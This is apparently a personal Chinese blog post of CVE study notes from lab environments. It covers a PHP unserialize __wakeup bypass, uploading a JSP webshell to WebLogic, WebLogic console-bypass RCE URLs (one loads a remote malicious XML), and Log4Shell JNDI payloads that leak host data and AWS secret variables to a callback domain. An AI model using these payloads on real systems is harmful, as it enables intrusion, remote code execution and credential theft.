CVE学习

CVE-2016-7124

实验环境

服务器:apache 2.4.39

PHP版本:5.3.29nts

漏洞影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

产生原因

类中的wakeup()方法的绕过

代码复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Yuleiyun{
public $target;
public $b="b";
function __wakeup(){
$this->num="123";
}
function __destruct(){
$this->targer="10";
if(!isset($this->num)||!$this->num)
echo "you got it!";
else echo "haha";
}
}

if(isset($_GET['test'])){
var_dump(unserialize($_GET['test']));
}

?>

逻辑为:destruct中的num值未设置或者为空时,才会有输出。

已知num这个值无法更改,所以尝试使num值未设置,则要绕过wakeup()。首先我们上传的参数要为序列化后的字符串:

如:

?test=O:8:”Yuleiyun”:2:{s:6:”target”;N;s:1:”b”;s:1:”b”;}

结果:

object(Yuleiyun)#1 (3) { [“target”]=> NULL [“b”]=> string(1) “b” [“num”]=> string(3) “123” } haha

由于wakeup函数存在且比反序列化先触发,故,只要使得反序列化过程中的结构不匹配,导致 PHP 在反序列化时无法正确还原对象的结构,进而无法触发wakeup()方法。

如把成员数量由2改为3,不触发wakeup(),结果为

?test=O:8:”Yuleiyun”:3:{s:6:”target”;N;s:1:”b”;s:1:”b”;}

结果:

you got it!bool(false)

weblogic

java中间件,端口为7001

默认后台登录地址http://ip:7001/console

CVE-2018-2894(任意文件上传漏洞)

利用条件

后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

hrrp://ip:7001/console/login/LoginForm.jsp

不用登陆,直接url访问:7001/ws_utc/config.do

来到后台,设置路径,该路径可以无权限访问

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Date: Sat, 22 Jul 2023 06:38:32 GMT
Content-Type: application/xml
Connection: close
Vary: Accept-Encoding
Content-Length: 333

<?xml version="1.0" encoding="UTF-8"?><setting id="security"><section name="key_store_list"><options xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="securityOptions"><keyStoreItem><id>1690007912011</id><name>123</name><keyStore>shell.jsp</keyStore><password>123</password></keyStoreItem></options></section></setting>

抓响应包,或者f12,发现有一个时间戳,可以构造路径

http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

http://eci-2ze5qymq43f2pcf4bh8r.cloudeci1.ichunqiu.com:7001/ws_utc/css/config/keystore/1690023268535_shell.jsp

然后嘞,网页访问下这个路径,执行.jsp

蚁剑连接

哦豁,没连上

下载冰蝎,生成一个jsp木马,默认密码rebeyond

状态明明是绿色,点进去失败,也没用,算了

我生气啦。

说是还有/ws_utc/begin.do

image-20230722190514604

上报出错,查看回显日志,但是是传进去了

看响应包

1
2
3
4
5
encoding="UTF-8"?><errorMsgBean><title>Web服务测试运行期错误</title><desc>导入测试错误</desc><details>com.oracle.webservices.testclient.exception.WSTestRuntimeException: javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services - 2.5.2.v20140319-9ad6abd): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: org.xml.sax.SAXParseException; systemId: file:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/upload/RS_Upload_2023-07-22_11-06-26_875/import_file_name_shell.jsp; lineNumber: 1; columnNumber: 2; The markup in the document preceding the root element must be well-formed.]
1
file:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/upload/RS_Upload_2023-07-22_11-06-26_875/import_file_name_shell.jsp   //给了路径

CVE-2020-14882

允许未授权的用户绕过管理控制台的权限验证访问后台

CVE-2020-14883

允许后台任意用户通过HTTP协议执行任意命令

(Weblogic 管理控制台未授权远程命令执行漏洞)

首先是cve-2020-14882

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

可以通过未授权访问到管理页面

安装应用等功能时,会有消息提示,权限不足

cve-2020-14883的利用方式有二种:

1是:com.tangosol.coherence.mvel2.sh.ShellSessionWeblogic 12.2.1以上版本利用

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

2是:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext对于所有Weblogic版本均有效

构造XML文件,保存到在Weblogic可以访问到的服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

访问以下url,让weblogic加载该xml,执行其中命令(需要Weblogic的服务器能够访问到恶意XML)

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

CVE-2021–44228 (Log4Shell)

描述

如果记录用户控制的字符串,Java 日志库 log4j 存在未经身份验证的 RCE 漏洞

影响版本

Apache log4j 2.0-beta9 ≤ 2.14.1

利用

位置

将构造的有效负载注入头部、输入字段或查询/正文参数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-Originating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token

可注入的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

服务与扫描

dnslog.cn呢是证明有该 服务

扫描,可以用专门的log4j漏洞扫描器,去检测目标网址

有效负载

构造如下:

1
https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.qwe3er.dnslog.cn/exp}
  1. 使用dnslog.cn(一个网址,可以sql注入盲注时带外查询)去创建自己的子域名进行测试,比如:qwe3er.dnslog.cn
  2. 使用此子域来制作有效负载(上述负载)并将其与请求一起发送。一段时间后检查对 DNS 服务的请求以确认回调成功
  3. 应该会收到类似的 DNS 服务请求(包含主机和 Java 版本)
1
jv-11.0.13-hn-73a957d15746.qwe3er.dnslog.cn
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信